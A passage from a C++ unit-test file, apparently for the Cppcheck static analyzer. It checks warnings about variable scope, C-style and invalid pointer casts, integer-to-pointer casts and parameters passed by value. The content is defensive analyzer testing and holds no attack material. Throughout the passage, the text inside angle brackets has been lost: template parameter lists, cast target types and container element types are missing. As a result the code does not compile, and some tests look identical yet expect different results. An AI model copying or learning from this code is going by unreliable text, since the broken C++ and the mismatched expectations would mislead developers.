errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n 